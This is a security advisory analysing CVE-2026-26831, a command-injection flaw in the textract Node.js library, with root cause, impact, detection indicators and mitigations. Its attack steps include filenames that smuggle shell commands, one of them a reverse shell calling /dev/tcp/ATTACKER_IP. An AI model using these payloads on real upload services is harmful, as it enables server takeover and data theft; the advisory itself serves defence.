CVE-2026-26831: 
JavaScript vulnerability analysis and mitigation

CVE-2026-26831 is an OS Command Injection vulnerability in the textract Node.js library (versions through 2.5.0) that allows unauthenticated remote attackers to execute arbitrary OS commands by supplying a maliciously crafted filename. The vulnerability was published on March 25, 2026, and affects all versions of textract up to and including 2.5.0 for Node.js. It carries a CVSS v3.1 base score of 9.8 (Critical) (PoC Advisory, Feedly).

The root cause is improper neutralization of special elements in OS commands (CWE-78) combined with code injection (CWE-94). Multiple extractor modules — lib/extractors/doc.js, rtf.js, dxf.js, images.js, and lib/util.js — pass the filePath parameter directly into child_process.exec() via string concatenation without adequate sanitization. For example, doc.js constructs the shell command as exec('antiword -m UTF-8.txt "' + filePath + '"', ...), and rtf.js only escapes whitespace characters before passing the path to unrtf, leaving shell metacharacters such as ;, backticks, and $() unfiltered. An attacker who can influence the filename (e.g., via a file upload feature) can break out of the quoted command string and inject arbitrary shell commands (textract doc.js, textract rtf.js, PoC Advisory).

Successful exploitation grants an unauthenticated attacker full remote code execution on the host server running the Node.js application, with the privileges of the application process. This results in complete compromise of confidentiality, integrity, and availability — attackers can exfiltrate sensitive data, modify or delete files, install backdoors, and pivot laterally within the network. Applications that accept user-uploaded documents and process them with textract are particularly at risk, as the attack surface is directly exposed to untrusted input (PoC Advisory, Feedly).

A public proof-of-concept exploit written in JavaScript is available on GitHub, demonstrating the injection technique with a concrete malicious filename payload (PoC Advisory). The exploit requires no authentication, no special privileges, and no user interaction, making it trivially weaponizable against any application that processes attacker-controlled filenames with textract. As of the time of reporting, there is no evidence of active in-the-wild exploitation or known threat actor attribution. The EPSS score is approximately 0.44%, and the vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly).

1. Reconnaissance: Identify web applications that accept file uploads and use the textract npm package (version ≤ 2.5.0) for text extraction. This can be inferred from application behavior, error messages, or open-source code review.
2. Craft malicious filename: Create a file with a specially crafted name containing shell metacharacters to break out of the quoted command string. Example filename: test";whoami;".doc (for DOC extraction via antiword) or equivalent payloads using backticks or $() for other extractors.
3. Upload the file: Submit the maliciously named file to the target application's file upload endpoint. The application must pass the original filename (or a path derived from it) to textract for processing.
4. Trigger extraction: Cause the application to invoke textract on the uploaded file. This may happen automatically upon upload or when the application processes the document.
5. Achieve command execution: The injected shell command (e.g., whoami, a reverse shell payload, or data exfiltration command) executes on the server as the Node.js process user. For a reverse shell, a payload such as test";bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1;".doc can be used (PoC Advisory, textract doc.js).

• Network: Unexpected outbound connections from the Node.js application server to external IPs (potential reverse shell or C2 traffic); DNS lookups for attacker-controlled domains initiated by the application process.
• Logs: Application or web server logs showing file upload requests with filenames containing shell metacharacters (;, backticks, $(, |, &); Node.js process logs showing unexpected child_process.exec errors or unusual command output.
• Process: Unusual child processes spawned by the Node.js process (e.g., bash, sh, curl, wget, nc, python) visible in process trees; processes running as the application service account executing system commands unrelated to text extraction.
• File System: Unexpected new files created in the application directory or /tmp (e.g., web shells, downloaded payloads, cron job modifications); new cron entries or scheduled tasks created by the application user account.

As of March 2026, no patched version of textract has been released, and the library appears to be minimally maintained (PoC Advisory). Recommended mitigations include:

• Do not pass attacker-controlled filenames to textract: Rename uploaded files to a safe, randomly generated name before processing.
• Replace exec() with safer alternatives: Refactor extractor code to use child_process.execFile() with properly parameterized arguments, which avoids shell interpretation.
• Validate and sanitize filenames: Enforce a strict allowlist of safe characters (alphanumeric, hyphens, underscores, dots) for any filename passed to textract.
• Migrate to a maintained library: Consider replacing textract with an actively maintained text extraction solution that does not rely on shell command concatenation.
• Restrict process privileges: Run the Node.js application with the least-privilege OS user account to limit the impact of successful exploitation.

The vulnerability was noted in the security community primarily through the public PoC advisory on GitHub and aggregation on threat intelligence platforms such as Feedly and Sploitus. A weekly PoC roundup blog post referenced the vulnerability in early April 2026 (PoC Week Blog). No official statement from the textract maintainer has been published, and no significant vendor or major media coverage has been identified beyond automated vulnerability tracking services.